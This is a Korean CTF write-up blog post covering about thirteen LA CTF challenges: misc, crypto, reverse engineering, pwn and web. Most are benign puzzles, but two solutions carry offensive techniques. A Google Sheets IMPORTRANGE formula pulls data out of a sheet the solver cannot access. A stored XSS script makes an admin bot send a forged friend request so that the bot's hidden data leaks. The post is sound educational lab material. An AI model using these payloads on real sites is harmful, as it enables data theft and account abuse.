1.
일정이 있었는데, 그래도 하루라도 참가하자! 라는 생각에 혼자서 하루동안 참여한 CTF였다. CTF는 문제 퀄리티도 양호했고, 대회 수준도 비기너 - 프로페셔널을 전부 다 포함하는, 아주 친절한 CTF였다. 다만 몇 시간만 참여했다 보니 기술적으로 뭔가 한 게 없었다. 그 부분이 매우 아쉽다... 공부한 거 실력 발휘를 못했고, pwn을 해본지 며칠 됐었는데 딱 한 문제 풀었다.
2. THE CHALLS
- discord - misc
- CATS! - misc
- hidden in plain sheets - misc
- EBE - misc
- greek cipher - crypto
- rolling in the mud - crypto
- one-more-time-pad - crypto
- chinese-lazy-theorem-1 - crypto
- caterpillar -rev
- string-cheese - rev
- gatekeep - pwn
- college-tour - web
- metaverse - web
기술이나 삽질이 필요없는 간단한 문제는 짧게만 풀이를 남기도록 하겠다.
discord - misc
모든 CTF에 나오는 기본적인 sanity check 문제다. 디스코드 서버에 들어가면 플래그를 얻을 수 있다.
CATS! - misc
Geoguessr 문제다.
적절히 사진의 reverse image search를 찾다보면 Lanai Cat Sanctuary 라는 곳이 나온다.
다른 방법으로는 exiftool 돌려서 metadata를 뽑아내는 방법도 있다.
$ exiftool CATS.jpeg
Sub-location : Lanai Cat Sanctuary
Province-State : HI
Country-Primary Location Code : US
Country-Primary Location Name : United States
Application Record Version : 4
XMP Toolkit : Image::ExifTool 12.42
Country Code : US
hidden in plain sheets - misc
구글 시트를 제공해준다. sheet1 외에도 flag라고 되어있는 시트가 하나 더 있다. 목표는, 권한이 없어 보지 못하는 구글 시트로부터 데이터(플래그) 를 뽑아오는 것이다.
구글링을 통해서 https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection 이런 문서를 발견했다.
google sheets OOB data exfiltration이라고 하나본데, 각종 엑셀의 함수를 이용해서 (권한이 없더라도) 다른 시트의 셀을 가져올 수 있다.
결과적으로 다른 구글 시트를 하나 더 만든다음,
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/1OYx3lCccLKYgOvzxkRZ5-vAwCn3mOvGUvB4AdnSbcZ4", "flag!A1:ZZ10")
이러한 함수를 실행하면 다른 시트의 데이터를 뽑아오는 것이 가능하다.
EBE - misc
문제는 pcap 파일을 하나 제공해준다. 설명은 다음과 같다.
RFC 3514에 대한 참고문서를 쉽게 찾을 수 있었다. https://www.ietf.org/rfc/rfc3514.txt
요약하자면, IPv4 flag가 0x0인 패킷과 0x1 패킷은 다르다. 0x0라면 공격의 의도가 없는 "무해한" 패킷이고, 0x1라면 공격자가 의도적으로 보낸 "유해한" 패킷이다.
그것을 기반으로 데이터들을 걸러내야 한다.
파일을 까보면 각 패킷 당 한 글자씩 자리한 데이터가 보인다. 추출하면 다음과 같다.
Lpy5lUKeaVcg3XTtQVftv{Vx_wk4T7ZMKLaaydWM3AO6R8V_1gvLuT6fqeuvxb_sd8ZnqNGSMSu8T8}JDeO8wXQU1ZeJ7_pZE3gCWx}MhJMf1YWVra}SDW8_PBUhXlgYJKcTN767REmwM6wtO4Z6R7QPiV9qJ7In_1UAC45V0wNv6OW{_hDnyXV}lS4w04_m7HQcqt2ZvfcV3qFAd1iWo_LMWQOvE1NOd_HqnZf2uXF9gfEkY51DVcUDQuNduX4RP{J30}czrL8U0s9PuNgF0}0j5063aA4mLdSFm7e08j4c7gUqZb4}
여기서 삽질을 좀 했는데, 결국 우리는 필터를 만들어서 데이터를 걸러내는 것이 목표다.
ip.flags == 0x0 를 토대로 flag가 0x0인 패킷만 골라내고, 컬럼에 data.data라는 필터를 더해 hex만 추출한다.
그 hex값을 ascii text로 변환하면 플래그가 나온다. (나는 일일히 손으로 했지만 좀 더 영리한 방법이 있을 것 같다..)
greek cipher - crypto
κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ζπι ιηγ δςρθι ψγρθπζ ςζ ηςθιπρω θνθψγμιγκ πδ νθςζε γζμρωψιςπζ? τγ ζγςιηγρ. κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ψρπξσξοω δονγζι ςζ εργγα? τγ ζγςιηγρ. ς οςαγ ηπλ εργγα μησρσμιγρ οππα ιηπνεη, γυγζ ςδ ς μσζ'ι ργσκ ιηγτ. οσμιδ{ς_ενγθθ_νθςζε_τσζω_εργγα_μησρσμιγρθ_κςκζ'ι_θιπψ_ωπν._λγοο_ψοσωγκ_ς_τνθι_θσω.μπζερσιθ!}
새로운 substitution cipher를 만들었다며 위와 같은, 그리스 문자로 만들어진 암호를 제공한다.
나는 이거 삽질로 풀었지만, 나중에 보니까 좀 더 빠른 방법이 있었다.
첫번째로 내가 푼 방법이다.
- οσμιδ 는 lactf라는 사실을 안다. 그것을 기반으로 글자를 바꿔나가며 추려낸다.
- 하나만 있는 글자는 I 일 확률이 높다.
- frequency attack 비슷하게 did, the 등의 글자를 추리해나가며 맞는 문장이 나올 때까지 퍼즐처럼 맞춰본다.
좀 더 영리한 방법은 다음과 같다. http://quipqiup.com/ 는 간단한 substitution cipher를 풀어주는 사이트다.
각 그리스 문자를 영어 알파벳으로 변환 후, 저기 넣어준다.
너무 무식하게 풀었다...
rolling in the mud - crypto
이런 이미지를 던져준다. 1. rolling, 2. 처음이 점과 {로 시작하는데 점이 위에 가있음 3. lactf일 다섯문자가 끝에 가있음
을 통해 대충 거꾸로 된 이미지라고 추론할 수 있다.
이 cipher는 pigpen cipher이다. 이미지를 돌려놓고 한 문자 한 문자 바꾸면 플래그가 나온다. 입문자 레벨의 ctf라면, 어딜 가도 이런 문제가 하나씩 나오는 것 같다.
one-more-time-pad - crypto
from itertools import cycle
pt = b"Long ago, the four nations lived together in harmony ..."
key = cycle(b"lactf{??????????????}")
ct = ""
for i in range(len(pt)):
b = (pt[i] ^ next(key))
ct += f'{b:02x}'
print("ct =", ct)
#ct = 200e0d13461a055b4e592b0054543902462d1000042b045f1c407f18581b56194c150c13030f0a5110593606111c3e1f5e305e174571431e
ct는 간단한 xor operation을 통해 나온 암호문이다. key인 플래그와 와 pt를 xor하면 ct가 나오므로, ct와 pt를 xor해준다.
pt = b"Long ago, the four nations lived together in harmony ..."
ct = bytes.fromhex("200e0d13461a055b4e592b0054543902462d1000042b045f1c407f18581b56194c150c13030f0a5110593606111c3e1f5e305e174571431e")
key = ""
for i in range(len(pt)):
a = chr((pt[i] ^ ct[i]))
key += a
print(key)
chinese-lazy-theorem-1 - crypto
먼저 소스코드를 살펴보자.
#!/usr/local/bin/python3
from Crypto.Util.number import getPrime
from Crypto.Random.random import randint
p = getPrime(512)
q = getPrime(512)
n = p*q
target = randint(1, n)
used_oracle = False
print(p)
print(q)
print("To quote Pete Bancini, \"I'm tired.\"")
print("I'll answer one modulus question, that's it.")
while True:
print("What do you want?")
print("1: Ask for a modulus")
print("2: Guess my number")
print("3: Exit")
response = input(">> ")
if response == "1":
if used_oracle:
print("too lazy")
print()
else:
modulus = input("Type your modulus here: ")
modulus = int(modulus)
if modulus <= 0:
print("something positive pls")
print()
else:
used_oracle = True
print(target%modulus)
print()
elif response == "2":
guess = input("Type your guess here: ")
if int(guess) == target:
with open("flag.txt", "r") as f:
print(f.readline())
else:
print("nope")
exit()
else:
print("bye")
exit()
코드에서 주목해야 할 부분은, 내가 타이핑한 modulus에 따라서 target % modulus를 출력해준다는 것이다. modular arithmetic 에 따라, modulus가 target 보다 큰 숫자라면 그 결과는 target과 같다. 위 소스코드 중 target의 정의에서 알 수 있듯, target은 무조건 n보다 작다.
nc로 접속하면 제일 먼저 p와 q 값을 내준다. p와 q를 받아온 뒤, n값을 구해 target % n, 즉 target을 구한다. 2번 선택지 "Guess my number"에 넣어주면 플래그가 나온다.
string-cheese - rev
IDA에 넣어주면 보인다.
caterpillar -rev
자바스크립트로 된, obfuscated된 파일이 주어진다. 이런 식의 조건문을 만족하는 플래그를 리버싱하는 게 목표다.
자바스크립트에서의 type coercion 때문에 []는 0과 동등하며, -~n은 n+1와 같다.
그런 식으로 조건문을 다 바꿔주면 플래그를 구할 수 있다. 사실 코드가 잘 안짜져서 노가다했다...
이런 풀이로는 라이트업도 못 쓰겠다 싶어, 대회가 끝나고 다시 짜본 스크립트는 다음과 같다.
import re
with open("caterpillar.js", 'r') as org:
with open("caterpillar2.js", 'w') as res:
c = org.read()
r = re.compile(r'(-~)+\[\]')
while r.search(c):
m = r.search(c)
g = m.group()
c = c[:m.start()] + str(len(g) // 2 - 1) + c[m.end():]
res.write(c)
결과로 이렇게 코드를 정리할 수 있다.
const flag = "lactf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}";
if (flag.charCodeAt(17) == 108 && flag.charCodeAt(43) == 95 && flag.charCodeAt(21) == 108 && flag.charCodeAt(2) == 99 && flag.charCodeAt(46) == 52 && flag.charCodeAt(7) == 104 && flag.charCodeAt(42) == 51 && flag.charCodeAt(18) == 49 && flag.charCodeAt(50) == 103 && flag.charCodeAt(31) == 108 && flag.charCodeAt(39) == 95 && flag.charCodeAt(27) == 51 && flag.charCodeAt(19) == 116 && flag.charCodeAt(4) == 102 && flag.charCodeAt(25) == 52 && flag.charCodeAt(11) == 117 && flag.charCodeAt(1) == 97 && flag.charCodeAt(47) == 103 && flag.charCodeAt(14) == 114 && flag.charCodeAt(10) == 104 && flag.charCodeAt(36) == 97 && flag.charCodeAt(54) == 125 && flag.charCodeAt(33) == 52 && flag.charCodeAt(41) == 104 && flag.charCodeAt(20) == 116 && flag.charCodeAt(12) == 110 && flag.charCodeAt(3) == 116 && flag.charCodeAt(13) == 103 && flag.charCodeAt([]) == 108 && flag.charCodeAt(52) == 49 && flag.charCodeAt(26) == 116 && flag.charCodeAt(44) == 102 && flag.charCodeAt(29) == 112 && flag.charCodeAt(38) == 51 && flag.charCodeAt(8) == 51 && flag.charCodeAt(35) == 95 && flag.charCodeAt(53) == 110 && flag.charCodeAt(16) == 95 && flag.charCodeAt(37) == 116 && flag.charCodeAt(9) == 95 && flag.charCodeAt(28) == 114 && flag.charCodeAt(22) == 51 && flag.charCodeAt(15) == 121 && flag.charCodeAt(32) == 108 && flag.charCodeAt(23) == 95 && flag.charCodeAt(49) == 52 && flag.charCodeAt(51) == 52 && flag.charCodeAt(48) == 95 && flag.charCodeAt(45) == 108 && flag.charCodeAt(6) == 116 && flag.charCodeAt(30) == 49 && flag.charCodeAt(40) == 116 && flag.charCodeAt(34) == 114 && flag.charCodeAt(24) == 99 && flag.charCodeAt(5) == 123) {
console.log("That is the flag!");
} else {
console.log("That is not the flag!");
}
정리한 코드를 ascii로 변환하면 플래그를 얻을 수 있다.
gatekeep - pwn
stack BOF문제다.
아무 문자나 26개 이상 적당히 넣어주면 풀린다.
college-tour - web
css, html 등에서 플래그 조각을 모아 이어붙이는 쉬운 문제다.
metaverse - web
const flag = process.env.FLAG;
accounts.set("admin", {
password: adminpw,
displayName: flag,
posts: [],
friends: [],
});
app.get("/post/:id", (req, res) => {
if (posts.has(req.params.id)) {
res.type("text/html").send(postTemplate.replace("$CONTENT", () => posts.get(req.params.id)));
} else {
res.status(400).type("text/html").send(postTemplate.replace("$CONTENT", "post not found :("));
}
});
app.post("/friend", needsAuth, (req, res) => {
res.type("text/plain");
const username = req.body.username.trim();
if (!accounts.has(username)) {
res.status(400).send("Metauser doesn't metaexist");
} else {
const user = accounts.get(username);
if (user.friends.includes(res.locals.user)) {
res.status(400).send("Already metafriended");
} else {
user.friends.push(res.locals.user);
res.status(200).send("ok");
}
}
});
app.get("/friends", needsAuth, (req, res) => {
res.type("application/json");
res.send(
JSON.stringify(
accounts
.get(res.locals.user)
.friends.filter((username) => accounts.has(username))
.map((username) => ({
username,
displayName: accounts.get(username).displayName,
}))
)
);
});
들어가면 간단한 register, login창과 누군가를 친구 목록에 더할 수 있는 기능이 있는 사이트가 나온다. url을 주면 해당 url을 방문하는 admin bot기능도 구현돼 있다.
flag는 admin의 이름에 있다. 그러므로, admin이 나를 친구추가하게 만들어야 한다.
<script>
fetch("/friend", {
method: "POST",
body: "username=myusername",
headers: {"Content-Type": "application/x-www-form-urlencoded"}
})
</script>
admin.displayName의 flag를 얻기 위해, /friends를 이용한다. admin bot이 위의 코드를 실행하게 하면 된다. CSP가 없었기에 xss가 간단했다.
굿겜
'CTF & WARGAMES > CTF' 카테고리의 다른 글
[Hackappatoi CTF 2022] Writeup (0) | 2022.12.15 |
---|---|
[TUCTF 2022] Writeup (0) | 2022.12.12 |
[STACK the Flags 2022] Writeup (0) | 2022.12.06 |
[Glacier CTF 2022] Writeup (0) | 2022.12.02 |
[HackTheBoo 2022] Writeup (0) | 2022.11.27 |